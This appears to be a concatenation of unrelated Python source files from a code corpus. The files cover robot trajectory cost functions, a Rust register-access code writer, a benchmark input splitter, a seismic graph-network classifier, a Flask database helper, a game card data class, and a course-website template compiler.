:param X_n: tensor [[x_0, y_0, t_0], ..., [x_j, y_j, t_j]], containing all manipulatable nodes for a given leg
:param X_o: tensor [[x_s, y_s, t_s], ..., [x_e, y_e, t_e]] points of sim contact
:return d_s: distance vector to first object, same dim=0 length as node vector
:return d_e: distance vector to last object, same dim=0 length as node vector
"""
d_s = X_o[0, :] - X_n
d_e = X_o[-1, :] - X_n
return d_s, d_e
def find_theta(X_n, X_o, X_o_point, d_components):
"""
:param X_n: tensor [[x_0, y_0, t_0], ..., [x_j, y_j, t_j]], containing all manipulatable nodes for a given leg
:param X_o: tensor [[x_s, y_s, t_s], ..., [x_e, y_e, t_e]] points of sim contact
:param X_o_point: tensor [x_s, y_s, t_s], represents intersection loc for which we must find theta
:return: theta vector, same length as node vector, except a vector of [theta] scalars rather than [x, y, t] vectors
"""
# print('\n\n\n\n\n\n')
# print('\n\nd_comp size:', d_components.size())
# print('d_comp:', d_components)
# using cos(theta) = dot(u,v)/(norm(u)*norm(v)):
# ---------------------------------------------------------
# consistent direction to introduce asymmetry
sim_vector = (X_o[-1, :] - X_o[0, :])
sim_vector = sim_vector.repeat(d_components.size()[0], 1)
# print('\n\nsim vect size:', sim_vector.size())
# print('sim vect:', sim_vector)
# compute dot product
dot_prod = torch.bmm(d_components.view(
20, 1, 3), sim_vector.view(20, 3, 1))
dot_prod = dot_prod.view(-1, 1)
# print('\n\ndot size:', dot_prod.size())
# print('dot:', dot_prod)
# compute mag denom
sim_mag = torch.norm(sim_vector)
mag_denom = torch.norm(d_components, dim=1) * sim_mag
mag_denom = mag_denom.view(-1, 1)
# print('\n\nmag size:', mag_denom.size())
# print('mag:', mag_denom)
# compute theta
cos_theta_s = dot_prod / mag_denom
theta = torch.acos(cos_theta_s)
# print('\n\ntheta size:', theta.size())
# print('theta:', np.degrees(theta))
return theta
def find_delta_d_s(d_s, beta_params, sigma_params, mu_params):
beta = beta_params[0]
sigma = sigma_params[0]
mu = mu_params[0]
d_mag = torch.norm(d_s, dim=1)
d_mag = d_mag.view(-1, 1)
scaling_factor = 1/(2*np.pi*sigma**2)**0.5
exp_factor = -beta*(d_mag - mu)**2/(2*sigma**2)
delta_d_s = scaling_factor*torch.exp(exp_factor)
max_val = torch.max(delta_d_s)
delta_d_s = delta_d_s / max_val
# print('s:', delta_d_s)
return delta_d_s
def find_delta_d_e(d_e, beta_params, sigma_params, mu_params):
beta = beta_params[1]
sigma = sigma_params[1]
mu = mu_params[0]
d_mag = torch.norm(d_e, dim=1)
d_mag = d_mag.view(-1, 1)
scaling_factor = 1/(2*np.pi*sigma**2)**0.5
exp_factor = -beta*(d_mag - mu)**2/(2*sigma**2)
delta_d_e = scaling_factor*torch.exp(exp_factor)
max_val = torch.max(delta_d_e)
delta_d_e = delta_d_e / max_val
# print('e:', delta_d_e)
return delta_d_e
def find_delta_theta_s(X_n, X_o, d_s, beta_params, sigma_params, mu_params):
theta = find_theta(X_n, X_o, X_o[0, :], d_s)
beta = beta_params[2]
sigma = sigma_params[2]
mu = mu_params[1]
scaling_factor = 1/(2*np.pi*sigma**2)**0.5
exp_factor = -beta*(theta - mu)**2/(2*sigma**2)
delta_theta_s = scaling_factor*torch.exp(exp_factor)
max_val = torch.max(delta_theta_s)
delta_theta_s = delta_theta_s / max_val
# print('s:', delta_theta_s)
return delta_theta_s
def find_delta_theta_e(X_n, X_o, d_e, beta_params, sigma_params, mu_params):
theta = find_theta(X_n, X_o, X_o[-1, :], d_e)
beta = beta_params[3]
sigma = sigma_params[3]
mu = mu_params[1]
scaling_factor = 1/(2*np.pi*sigma**2)**0.5
exp_factor = -beta*(theta - mu)**2/(2*sigma**2)
delta_theta_e = scaling_factor*torch.exp(exp_factor)
max_val = torch.max(delta_theta_e)
delta_theta_e = delta_theta_e / max_val
# print('e:', delta_theta_e)
return delta_theta_e
def find_delta_j(X_n, X_o, beta_params, sigma_params, mu_params):
j = torch.linspace(0, X_n.size()[0], X_n.size()[
0], dtype=torch.float64).view(-1, 1)
beta = beta_params[4]
sigma = sigma_params[4]
mu = mu_params[2]
scaling_factor = 1/(2*np.pi*sigma**2)**0.5
exp_factor = -beta*(j - mu)**2/(2*sigma**2)
delta_j = scaling_factor*torch.exp(exp_factor)
# print(delta_j)
return delta_j
def compute_delta_vector(X_n, X_o, d_s, d_e, param_dict):
beta_params = param_dict['beta']
sigma_params = param_dict['sigma']
mu_params = param_dict['mu']
scale_bias = param_dict['bias']
delta_d_s = find_delta_d_s(d_s, beta_params, sigma_params, mu_params)
delta_d_e = find_delta_d_e(d_e, beta_params, sigma_params, mu_params)
delta_theta_s = find_delta_theta_s(
X_n, X_o, d_s, beta_params, sigma_params, mu_params)
delta_theta_e = find_delta_theta_e(
X_n, X_o, d_e, beta_params, sigma_params, mu_params)
delta_j = find_delta_j(X_n, X_o, beta_params, sigma_params, mu_params)
delta = torch.cat(
(delta_d_s, delta_d_e, delta_theta_s, delta_theta_e, delta_j), dim=1)
# print('\ndelta raw:', delta)
delta = torch.prod(delta, dim=1) # Hadamard product
# print('\ndelta Hadamard prod:', delta)
delta = torch.pow(delta, scale_bias)
# print('\ndelta scaled:', delta)
delta = delta.view(-1, 1)
# delta_theta_s.register_hook(print)
return delta
def update_nodes(X_n, d_s, d_e, delta):
# print('d_s', d_s)
# print('delta', delta)
change_vect_s = delta*d_s
change_vect_e = delta*d_e
change_vect = change_vect_s + change_vect_e
# print(change_vect)
X_n1 = X_n
return X_n1
def compute_c_deviation(X_n1, X_n0):
diff = torch.norm(X_n0 - X_n1, dim=1)
path_start = X_n0[0, :]
path_end = X_n0[-1, :]
orig_path_length = torch.norm(path_end - path_start)
C_deviation = (diff / orig_path_length).mean().view(-1, 1)
return C_deviation
def compute_c_internode(X_n1):
dist = X_n1[1:, :] - X_n1[:-1, :]
dist_mag = torch.norm(dist, dim=1)
C_internode = torch.std(dist_mag).view(-1, 1)
return C_internode
def compute_c_contact(X_n1, X_o, X_n0, leg_time):
total_time_of_flight = X_n0[-1, 2] - leg_time
total_time_in_contact = X_o[-1, 2] - X_o[0, 2]
C_contact = (1 - total_time_in_contact/total_time_of_flight).view(-1, 1)
return C_contact
| python |
from pal.writer.access_mechanism.access_mechanism \
import AccessMechanismWriter
from pal.logger import logger
class RustLibpalAccessMechanismWriter(AccessMechanismWriter):
def declare_access_mechanism_dependencies(self, outfile, register,
access_mechanism):
pass
def call_readable_access_mechanism(self, outfile, register,
access_mechanism, result):
access_mechanisms = {
'cpuid': self.__call_cpuid_access_mechanism,
'rdmsr': self.__call_rdmsr_access_mechanism,
'vmread': self.__call_vmread_access_mechanism,
'mov_read': self.__call_mov_read_access_mechanism,
'xgetbv': self.__call_xgetbv_read_access_mechanism,
}
if access_mechanism.name not in access_mechanisms:
msg = "Access mechnism {am} is not supported using libpal from Rust"
msg = msg.format(am=access_mechanism.name)
logger.warn(msg)
return
access_mechanisms[access_mechanism.name](outfile, register, access_mechanism)
def call_writable_access_mechanism(self, outfile, register,
access_mechanism, value):
access_mechanisms = {
'mov_write': self.__call_mov_write_access_mechanism,
'wrmsr': self.__call_wrmsr_access_mechanism,
'vmwrite': self.__call_vmwrite_access_mechanism,
'xsetbv': self.__call_xsetbv_access_mechansim,
}
if access_mechanism.name not in access_mechanisms:
msg = "Access mechnism {am} is not supported using libpal from Rust"
msg = msg.format(am=access_mechanism.name)
logger.warn(msg)
return
access_mechanisms[access_mechanism.name](outfile,register,
access_mechanism, value)
def __call_cpuid_access_mechanism(self, outfile, register, access_mechanism):
cpuid_args = [str(access_mechanism.leaf), '0']
if register.is_indexed:
cpuid_args[1] = 'index as u32'
output_variable_names = "_eax, _ebx, _ecx, _edx"
if(access_mechanism.output == "eax"):
output_variable_names = output_variable_names.replace("_eax", "eax")
if(access_mechanism.output == "ebx"):
output_variable_names = output_variable_names.replace("_ebx", "ebx")
if(access_mechanism.output == "ecx"):
output_variable_names = output_variable_names.replace("_ecx", "ecx")
if(access_mechanism.output == "edx"):
output_variable_names = output_variable_names.replace("_edx", "edx")
outfile.write('let ({}) = instruction::execute_cpuid({});'.format(
output_variable_names,
','.join(cpuid_args)
))
self.write_newline(outfile)
outfile.write(str(access_mechanism.output))
self.write_newline(outfile)
def __call_rdmsr_access_mechanism(self, outfile, reigster, access_mechanism):
outfile.write('instruction::execute_rdmsr({})'.format(hex(access_mechanism.address)))
self.write_newline(outfile)
def __call_vmread_access_mechanism(self, outfile, register, access_mechanism):
outfile.write('instruction::execute_vmread({}){}'.format(
hex(access_mechanism.encoding),
"" if register.size == 64 else "as u" + str(register.size)
))
self.write_newline(outfile)
def __call_mov_read_access_mechanism(self, outfile, register, access_mechanism):
outfile.write('instruction::execute_read_{}()'.format(access_mechanism.source_mnemonic))
self.write_newline(outfile)
def __call_mov_write_access_mechanism(self, outfile, register, access_mechanism, value):
outfile.write('instruction::execute_write_{}({})'.format(access_mechanism.destination_mnemonic, value))
self.write_newline(outfile)
def __call_wrmsr_access_mechanism(self, outfile, register, access_mechanism, value):
outfile.write('instruction::execute_wrmsr({}, {})'.format(hex(access_mechanism.address),value))
self.write_newline(outfile)
def __call_vmwrite_access_mechanism(self, outfile, register, access_mechanism, value):
outfile.write('instruction::execute_vmwrite({}, {}{})'.format(
hex(access_mechanism.encoding),
value,
"" if register.size == 64 else " as u64"
))
self.write_newline(outfile)
def __call_xgetbv_read_access_mechanism(self, outfile, register, access_mechanism):
outfile.write('instruction::execute_xgetbv({})'.format(hex(access_mechanism.register)))
self.write_newline(outfile)
def __call_xsetbv_access_mechansim(self, outfile, register, access_mechanism, value):
outfile.write('instruction::execute_xsetbv({}, {})'.format(hex(access_mechanism.register),value))
self.write_newline(outfile)
| python |
import sys
import os
import subprocess
from shutil import copyfile, rmtree
def find_and_split_inputs(input_env_data, output_dir, number_of_inputs):
## Generate the environment file (by splitting inputs)
## Find the input file name
input_env_lines = input_env_data.split('\n')
input_vars = [line.split('=')[1] for line in input_env_lines if line.startswith('IN=')]
if(len(input_vars) == 1):
input_file_name = input_vars[0]
# print(input_file_name)
## Split input files
new_input_files = split_inputs(output_dir, number_of_inputs, input_file_name)
else:
## If there is no input variable, then we don't split any files
new_input_files = []
return new_input_files
def split_inputs(output_dir, number_of_inputs, input_file_name):
## Make a directory to store the split parts (and delete what was previously there)
split_input_directory = os.path.join(output_dir, 'split_inputs')
if os.path.exists(split_input_directory):
rmtree(split_input_directory)
os.makedirs(split_input_directory)
## Split it into parts
# stream = os.popen('wc -l {}'.format(input_file_name))
# wc_output = stream.read()
# input_file_n_lines = wc_output.split()[0]
# print(input_file_n_lines)
split_file_prefix = os.path.join(split_input_directory, 'input-chunk-')
stream = subprocess.run(['split',
'-n l/{}'.format(number_of_inputs),
'-d',
'{}'.format(os.path.expandvars(input_file_name)),
'{}'.format(split_file_prefix)],
check=True)
new_input_files = [os.path.join(split_input_directory, f) for f in os.listdir(split_input_directory)
if os.path.isfile(os.path.join(split_input_directory, f))]
new_input_files.sort()
# print(new_input_files)
return new_input_files
def list_split_inputs(output_dir):
split_input_directory = os.path.join(output_dir, 'split_inputs')
assert(os.path.exists(split_input_directory))
new_input_files = [os.path.join(split_input_directory, f) for f in os.listdir(split_input_directory)
if os.path.isfile(os.path.join(split_input_directory, f))]
new_input_files.sort()
# print(new_input_files)
return new_input_files
def generate_env_file(input_env_data, output_env, new_input_files):
## Find the input file name
input_env_lines = input_env_data.split('\n')
## Save the new environment file accordingly
no_input_env_lines = [line for line in input_env_lines if not line.startswith('IN=')]
new_input_vars = ['IN{}={}'.format(i, in_file_name)
for i, in_file_name in enumerate(new_input_files)]
output_env_data = "\n".join(new_input_vars + no_input_env_lines)
with open(output_env, "w") as file:
file.write(output_env_data)
## Replace $IN with all different $INis (one for each input file)
def replace_in_variable(data, new_input_files):
new_data = data.replace(' $IN', ' ' + ' '.join(['$IN{}'.format(i)
for i in range(len(new_input_files))]))
return new_data
def generate_seq_script(input_script, output_script, new_input_files):
## Generate the sequential script
with open(input_script) as file:
input_script_data = file.read()
output_script_data = replace_in_variable(input_script_data, new_input_files)
with open(output_script, "w") as file:
file.write(output_script_data)
def main():
input_dir = sys.argv[1]
name_of_script = sys.argv[2]
number_of_inputs = int(sys.argv[3])
output_dir = sys.argv[4]
try:
env_suffix = "env_" + sys.argv[5]
input_f_suffix = "_" + sys.argv[5]
except:
env_suffix = "env"
input_f_suffix = ""
## This script takes a microbenchmark script as input, finds the $IN
## occurence in it and then generates an intermediary script with many
## $INs in its place.
input_script = os.path.join(input_dir, name_of_script + ".sh")
output_script = os.path.join(output_dir, '{}_{}_seq.sh'.format(name_of_script, number_of_inputs))
input_env = os.path.join(input_dir, name_of_script + "_{}.sh".format(env_suffix))
output_env = os.path.join(output_dir, '{}_{}_env.sh'.format(name_of_script, number_of_inputs))
input_funs = os.path.join(input_dir, name_of_script + "_funs.sh")
output_funs = os.path.join(output_dir, '{}_{}_funs.sh'.format(name_of_script, number_of_inputs))
input_in_f = os.path.join(input_dir, name_of_script + input_f_suffix + ".in")
output_in_f = os.path.join(output_dir, '{}_{}.in'.format(name_of_script, number_of_inputs, input_f_suffix))
## Read the input env file if it exists
try:
with open(input_env) as file:
input_env_data = file.read()
except:
print("Env file:", input_env, "could not be read.")
input_env_data = ""
## Find and split input files given the environment file
new_input_files = find_and_split_inputs(input_env_data, output_dir, number_of_inputs)
## Generate new environment file
generate_env_file(input_env_data, output_env, new_input_files)
## Copy the funs file (if it exists)
if os.path.exists(input_funs):
copyfile(input_funs, output_funs)
## Copy the standard input file (if it exists)
if os.path.exists(input_in_f):
copyfile(input_in_f, output_in_f)
generate_seq_script(input_script, output_script, new_input_files)
if __name__ == "__main__":
main()
| python |
import os
os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
os.environ["CUDA_VISIBLE_DEVICES"] = "2"
import dgl
import torch
import numpy as np
import dgl.function as fn
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
from torch.utils.data import Dataset, DataLoader
import obspy
import matplotlib.pyplot as plt
rootpath = "/sdc/Eq2020_multisite_0925/Case_study/case_study_multi_noise/"
modelpath = "/sdc/Eq2020_multisite_0925/GCN/"
class MyDataset(Dataset) :
def __init__(self, data_PHA2, data_YOCB, data_USN2) :
self.data_PHA2 = data_PHA2
self.data_YOCB = data_YOCB
self.data_USN2 = data_USN2
def __len__(self) :
return 1
def __getitem__(self, idx) :
data_PHA2 = np.concatenate((self.data_PHA2[0].data[:,np.newaxis],
self.data_PHA2[1].data[:,np.newaxis],
self.data_PHA2[2].data[:,np.newaxis]), axis=1)
data_YOCB = np.concatenate((self.data_YOCB[0].data[:,np.newaxis],
self.data_YOCB[1].data[:,np.newaxis],
self.data_YOCB[2].data[:,np.newaxis]), axis=1)
data_USN2 = np.concatenate((self.data_USN2[0].data[:,np.newaxis],
self.data_USN2[1].data[:,np.newaxis],
self.data_USN2[2].data[:,np.newaxis]), axis=1)
data = np.concatenate((data_PHA2[...,np.newaxis],
data_YOCB[...,np.newaxis],
data_USN2[...,np.newaxis]), axis=2)
l = 2
one_hot_train_y = np.zeros((1,3))
one_hot_train_y[0,l] = 1.
feature = np.transpose(data, (2, 1, 0))
feature = feature[:3,:,:]
time = 0
samples = list()
while time < feature.shape[2]-3000 :
g = dgl.DGLGraph()
g.add_nodes(3)
g.add_edges([0, 1, 2],
[1, 2, 0])
f = feature[:, :, time:time+3000]
for i in range(f.shape[1]) :
for j in range(f.shape[0]) :
f[j,i,:] = f[j,i,:] - np.mean(f[j,i,:])
g.ndata['h'] = torch.tensor(f)
sample = (g, l)
samples.append(sample)
time += 100
return samples
data_PHA2 = obspy.read(rootpath + "PHA2000")
data_YOCB = obspy.read(rootpath + "YOCB004")
data_USN2 = obspy.read(rootpath + "USN2002")
test_dataset = MyDataset(data_PHA2, data_YOCB, data_USN2)
def collate(samples) :
samples = samples[0]
graphs, labels = map(list, zip(*samples))
return graphs, torch.tensor(labels).cuda()
msg = fn.copy_src(src='h', out='m')
reduce = fn.sum(msg='m', out='h')
#def reduce(nodes) :
# accum = torch.mean(nodes.mailbox['m'], 1)
# return {'h' : accum}
class NodeApplyModule(nn.Module) :
def __init__(self, in_feats, out_feats, activation) :
super(NodeApplyModule, self).__init__()
self.linear = nn.Linear(in_feats, out_feats)
self.activation = activation
def forward(self, node) :
h = self.linear(node.data['h'])
if self.activation is not None :
h = self.activation(h)
return {'h' : h}
class GCN(nn.Module) :
def __init__(self, in_feats, out_feats, activation) :
super(GCN, self).__init__()
self.apply_mod = NodeApplyModule(in_feats, out_feats, activation)
self.linear = nn.Linear(in_feats, out_feats)
def forward(self, g, feature) :
g.ndata['h'] = feature
g.update_all(msg, reduce)
h= g.ndata['h']
return self.linear(h)
#g.apply_nodes(func=self.apply_mod)
#return g.ndata.pop('h')
class Classifier(nn.Module) :
def __init__(self, in_dim, hidden_dim, n_classes) :
super(Classifier, self).__init__()
self.layers = nn.ModuleList([
GCN(in_dim, hidden_dim, F.relu),
GCN(hidden_dim, hidden_dim, F.relu),
GCN(hidden_dim, hidden_dim, F.relu),
GCN(hidden_dim, hidden_dim, F.relu),
GCN(hidden_dim, hidden_dim, F.relu)])
self.classify = nn.Sequential(nn.Linear(hidden_dim, 128),torch.nn.ReLU(),
nn.Linear(128, 64),torch.nn.ReLU(),
nn.Linear(64, n_classes))
self.feature_extraction = FeatureExtraction()
def forward(self, g) :
g = self.feature_extraction(g)
h = g.ndata['h'].float().cuda()
for conv in self.layers :
h = conv(g, h)
g.ndata['h'] = h
hg = dgl.mean_nodes(g, 'h')
return self.classify(hg)
from sklearn.metrics import confusion_matrix
def evaluate(model, g, labels) :
model.eval()
with torch.no_grad() :
logits = model(g)
_, indices = torch.max(logits, dim=1)
correct = torch.sum(indices == labels)
gt = labels.cpu()
pred = indices.cpu()
CM = confusion_matrix(pred, gt,(0,1,2,3))
return correct.item() * 1.0 / len(labels), CM
class FeatureExtraction(nn.Module) :
def __init__(self) :
super(FeatureExtraction, self).__init__()
self.conv1 = nn.Conv1d(3, 64, 3, 1, 1)
self.conv1_pool = nn.MaxPool1d(3, 2, 1)
self.conv2 = nn.Conv1d(64, 64, 3, 1, 1)
self.conv2_pool = nn.MaxPool1d(3, 2, 1)
self.conv3 = nn.Conv1d(64, 64, 3, 1, 1)
self.conv3_pool = nn.MaxPool1d(3, 2, 1)
self.conv4 = nn.Conv1d(64, 64, 3, 1, 1)
self.conv4_pool = nn.MaxPool1d(3, 2, 1)
self.conv5 = nn.Conv1d(64, 64, 3, 1, 1)
self.conv5_pool = nn.MaxPool1d(3, 2, 1)
self.conv6 = nn.Conv1d(64, 64, 3, 1, 1)
self.conv6_pool = nn.MaxPool1d(3, 2, 1)
self.conv7 = nn.Conv1d(64, 64, 3, 1, 1)
self.conv7_pool = nn.MaxPool1d(3, 2, 1)
self.conv8 = nn.Conv1d(64, 64, 3, 1, 1)
self.conv8_pool = nn.MaxPool1d(3, 2, 1)
def forward(self, g) :
feature = g.ndata['h'].float()
feature = feature.cuda()
feature = self.conv1_pool(F.relu((self.conv1(feature))))
feature = self.conv2_pool(F.relu((self.conv2(feature))))
feature = self.conv3_pool(F.relu((self.conv3(feature))))
feature = self.conv4_pool(F.relu((self.conv4(feature))))
feature = F.relu((self.conv5(feature)))
feature = F.relu((self.conv6(feature)))
feature = F.relu((self.conv7(feature)))
outputs = F.relu((self.conv8(feature)))
outputs = torch.flatten(outputs, start_dim=1)
g.ndata['h'] = outputs
return g
test_loader = DataLoader(test_dataset, batch_size=1, shuffle=False, collate_fn = collate)
model = Classifier(12032, 64, 3)
loss_func = nn.CrossEntropyLoss()
optimizer = optim.Adam(model.parameters(), lr=0.0001, weight_decay=1e-5)
model.cuda(0)
model.train()
restore = True
if restore :
model.load_state_dict(torch.load(modelpath + "bestGCNmodel.pth"))
print("Load Finished!")
epoch_losses = []
print("test start")
result = np.zeros(3, dtype=np.int)
result_list = list()
for iter, (data, l) in enumerate(test_loader) :
model.eval()
idx = 1
while idx < len(data) :
bg = data[idx : idx + 1]
bg = dgl.batch(bg).to('cuda')
label = l[idx : idx + 1]
prediction = model(bg)
_, indices = torch.max(prediction, dim=1)
result[indices.cpu().numpy()] += 1
result_list.append(indices.cpu().numpy())
correct = torch.sum(indices == label)
print(result)
idx += 1
print(result)
test_all_1 = data_PHA2[2].data
test_all_1 = test_all_1 - np.mean(test_all_1)
test_all_2 = data_YOCB[2].data
test_all_2 = test_all_2 - np.mean(test_all_2)
test_all_3 = data_USN2[2].data
test_all_3 = test_all_3 - np.mean(test_all_3)
result_list = np.array(result_list)
x = np.arange(len(result_list)) / len(result_list) * 12
fig, axes = plt.subplots(4, 1, sharex=True, sharey=True, figsize=(18, 18))
plt.title("[{} {} {}]".format(result[0], result[1], result[2]))
axes[0,0].plot(x, test_all_1)
axes[0,1].plot(x, test_all_2)
axes[0,2].plot(x, test_all_3)
axes[0,3].plot(x, result_list)
plt.savefig("/sdc/Eq2020_multisite_0925/case_study_event.jpg")
plt.show() | python |
import random
with open('num.txt', 'w') as arq:
for i in range(1000000):
arq.write(str(random.randint(0, 10)) + '\n')
| python |
from flask_sqlalchemy import SQLAlchemy
from database.connection_profile import ConnectionProfile
from __init__ import app
import configuration
database_engine = SQLAlchemy(app)
def connect_if_required():
"""
Checks if the server should connect to a database and optionally does so.
This function automatically connectes to all extra databases attached in the
config file if enabled.
:return: True - If connection and authentication to the database was successful.
False - If database connection was disabled in the config or connection failed.
"""
print('Initializing Database...')
if configuration.connect_database_on_enable:
print("Connection is required on startup! Connecting...")
# building up connection profile to be able to easily
# fetch the connection url based on the selected dialect.
main_profile = ConnectionProfile(
configuration.sql_host,
configuration.sql_port,
configuration.sql_database,
configuration.sql_username,
configuration.sql_password
)
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SQLALCHEMY_DATABASE_URI'] = main_profile.connection_uri(configuration.sql_dialect)
print("Successfully connected to main database!")
# check if extra db is enabled and there is at least one registered.
if configuration.use_extra_databases and len(configuration.extra_mysql_databases) != 0:
print("Extra DB found for connection! Connecting...")
extra_db = {}
for key, value in configuration.extra_mysql_databases.items():
print(f'Fetching connection to extra db for \'{key}\'')
extra_db[key] = value.connection_uri()
app.config['SQLALCHEMY_BINDS'] = extra_db
print(f"Successfully connected to extra DBs!")
return True
return False
| python |
from .idol import Idol
from .skills import Skill, LeadSkill
from .enums import enum, attributes
from .errors import CategoryNotFound
class Card:
"""
Represents a Card and its data
Attributes
----------
card_id : int
The card's card id
album_id : int
The card's album id
type : str
The card's type (Cool, Cute, Passion, Office)
image : str
The card's image API link
has_spread : bool
True if the card has a spread image, otherwise false
icon : str
The card's icon link
chara_id : int
The card's character id
chara : Idol
An Idol object using the card's idol data
evo_id : int
The card's evolution id of transformed card
evo_type : int
The card's evolution rarity type (From R to SSR)
grow_type : int
An integer that represents a boolean value, checks if card can grow or not
name : str
The card's name
title : str
The card's untranslated title
open_dress_id : int
The card's model id
place : int
The card's place value
pose : int
The card's sprite number
series_id : int
The evolution chain id of the card
skill : Skill
The card's skill info in a Skill object
lead_skill : LeadSkill
The card's lead skill info in a Lead Skill object
rarity : Rarity
Represents the card's rarity data in a Rarity object
min_vocal : int
The card's minimum vocal value
max_vocal : int
The card's maximum vocal value
bonus_vocal : int
The card's bonus vocal value
min_dance : int
The card's minimum dance value
max_dance : int
The card's maximum dance value
bonus_dance : int
The card's bonus dance value
min_visual : int
The card's minimum visual value
max_visual : int
The card's maximum visual value
bonus_visual : int
The card's bonus visual value
min_hp : int
The card's minimum health value
max_hp : int
The card's maximum health value
bonus_hp : int
The card's bonus health value
"""
def __init__(self, card_data: dict):
self.card_id = card_data['id']
self.album_id = card_data['album_id']
self.type = card_data['attribute']
self.image = card_data['card_image_ref']
self.has_spread = card_data['has_spread']
self.icon = card_data['icon_image_ref']
self.sprite = card_data['sprite_image_ref']
self.spread = card_data['spread_image_ref']
self.sign = card_data['sign_image_ref']
self.chara_id = card_data['chara_id']
self.chara = Idol(card_data['chara'])
self.evo_id = card_data['evolution_id']
self.evo_type = card_data['evolution_type']
self.grow_type = card_data['grow_type']
self.name = card_data['name']
self.title = card_data['title']
self.open_dress_id = card_data['open_dress_id']
self.place = card_data['place']
self.pose = card_data['pose']
self.series_id = card_data['series_id']
if card_data['lead_skill'] is not None:
self.lead_skill = LeadSkill(card_data['lead_skill'])
else:
self.lead_skill = None
if card_data['skill'] is not None:
self.skill = Skill(card_data['skill'])
else:
self.skill = None
self.rarity = Rarity(card_data['rarity'])
self.min_vocal = card_data['vocal_min']
self.max_vocal = card_data['vocal_max']
self.bonus_dance = card_data['bonus_dance']
self.min_dance = card_data['dance_min']
self.max_dance = card_data['dance_max']
self.bonus_dance = card_data['bonus_dance']
self.min_visual = card_data['visual_min']
self.max_visual = card_data['visual_max']
self.bonus_visual = card_data['bonus_visual']
self.min_hp = card_data['hp_min']
self.max_hp = card_data['hp_max']
self.bonus_hp = card_data['bonus_hp']
def min_max_stats(self, stat: str, level: int):
"""Calculates the value of a stat in a specific level
Returns
-------
int
Value of stat in specified level
"""
if stat == 'dance':
dance_formula = self.min_dance + (self.max_dance - self.min_dance) * (level/self.rarity.base_max_level)
return round(dance_formula)
elif stat == 'visual':
visual_formula = self.min_visual + (self.max_visual - self.min_visual) * (level/self.rarity.base_max_level)
return round(visual_formula)
elif stat == 'vocal':
vocal_formula = self.min_vocal + (self.max_vocal - self.min_vocal) * (level/self.rarity.base_max_level)
return round(vocal_formula)
class Rarity:
"""Represent a Card's rarity data
Attributes
----------
rarity : int
An int representing how rare the card is
base_max_level : int
A number that is the level cap of the card
add_max_level : int
A number that is how many levels the card can possibly have
max_love : int
The max amount of love that can be obtained
base_give_money : int
The amount of money the card gives if the card is retired
base_give_exp : int
The amount of exp the card give if they are used as exp fodder
add_param : int
???
max_star_rank : int
The cap that the card can get by increasing star rank
"""
def __init__(self, rarity_data: dict):
self.rarity = rarity_data['rarity']
self.base_max_level = rarity_data['base_max_level']
self.add_max_level = rarity_data['add_max_level']
self.max_love = rarity_data['max_love']
self.base_give_money = rarity_data['base_give_money']
self.base_give_exp = rarity_data['base_give_exp']
self.add_param = rarity_data['add_param']
self.max_star_rank = rarity_data['max_star_rank']
| python |
def foo(x):
def bar(z):
return z + x
return bar
f = foo(9)
g = foo(10)
print(f(2))
print(g(2))
| python |
#!/usr/bin/env python
'''
FILE: compile.py
Author: Chris Piech with additions from Nick Troccoli
----------------
Template compiler that compiles all .html template files in the TEMPLATE_DIR
directory below (excluding .ptl files, which are partial templates), and outputs
with the same filenames to the OUTPUT_DIR directory. Use -t to compile for
running locally; otherwise, templates are compiled to be hosted at the ROOT url.
Example usage:
> python compile.py -t --output_dir WWW
Compiles all template files using local paths, and outputs the compiled files to
the WWW directory. The compiled files in WWW/ have the same directory structure
as in the TEMPLATE_DIR directory.
> python compile.py
Compiles all template files using ROOT path, and outputs the compiled files to
the *current* directory. The compiled files in the current directory have the
same directory structure as in the TEMPLATE_DIR directory.
----------------
'''
import os.path
from plugins.bottle.bottle import SimpleTemplate
import sys
import json
IGNORE_DIRS = [
'parts'
]
TEMPLATE_DIR = 'templates'
OUTPUT_DIR = '.'
# Assumed to be within OUTPUT_DIR
SECTION_DIR = 'section'
# The root URL at which this webpage is hosted
ROOT = '//web.stanford.edu/class/archive/cs/cs106a/cs106a.1184/'
# Use the -t flag if you want to compile for local tests
DEPLOY = not '-t' in sys.argv
'''
FUNCTION: compile
-----------------
Parameters: NA
Returns: NA
This function compiles all the html files (recursively)
from the templates dir into the current folder. Folder
hierarchy is preserved.
-----------------
'''
def compile():
# Read in course data
sectionData = searchSectionDirectory()
# Compile all templates
templateFilePaths = getTemplateFilePaths('')
print("\nCompiling:\n----------")
for templateFilePath in templateFilePaths:
print("Compiling " + templateFilePath + "...")
outputPath = compileTemplate(templateFilePath, sectionData)
print(templateFilePath + " -> " + outputPath)
print("\nDONE.\n")
'''
FUNCTION: searchSectionDirectory
---------------------------------
Parameters: NA
Returns: a list of section material tuples: (path, solutionsReleaseDateString).
The path is the path to the folder containing section i+1's materials. The date
string is read from info.json and is a "YYYYMMDDHH" string of when the solution
materials should be released. Assumes the following are in each directory:
- Section[i+1]-Solutions.pdf
- Section[i+1].pdf
- Section[i+1].zip
- info.json with the format { solutionsDate: "YYYYMMDDHH" }
---------------------------------
'''
def searchSectionDirectory():
sectionDirPath = OUTPUT_DIR + '/' + SECTION_DIR + '/'
paths = []
for fileName in os.listdir(sectionDirPath):
if not fileName.startswith("."):
filePath = os.path.join(sectionDirPath, fileName)
with open(filePath + '/info.json', 'rb') as infoFile:
info = json.load(infoFile)
solutionsDate = info['solutionsDate']
paths.append((
os.path.join(SECTION_DIR, fileName),
solutionsDate
)
)
paths.sort()
return paths
'''
FUNCTION: getTemplateFilePaths
------------------------------
Parameters:
templateRoot - the folder within TEMPLATE_DIR to get file paths for
Returns: a list of .html template file paths from within the given directory
within TEMPLATE_DIR. Ignores .ptl files, which are partial templates.
------------------------------
'''
def getTemplateFilePaths(templateRoot):
if templateRoot in IGNORE_DIRS:
return []
paths = []
templateDirPath = os.path.join(TEMPLATE_DIR, templateRoot)
for fileName in os.listdir(templateDirPath):
filePath = os.path.join(templateRoot, fileName)
templateFilePath = os.path.join(TEMPLATE_DIR, filePath)
# Recurse if it's a directory, add if it's a template file
if os.path.isdir(templateFilePath):
childPaths = getTemplateFilePaths(filePath)
for childPath in childPaths:
paths.append(childPath)
elif isTemplateFile(fileName):
paths.append(filePath)
return paths
'''
FUNCTION: isTemplateFile
------------------------
Parameters:
fileName - the fileName to check is a template file
Returns: whether or not the given filename is a template file (ends with .html)
------------------------
'''
def isTemplateFile(fileName):
extension = os.path.splitext(fileName)[1]
return extension == '.html'
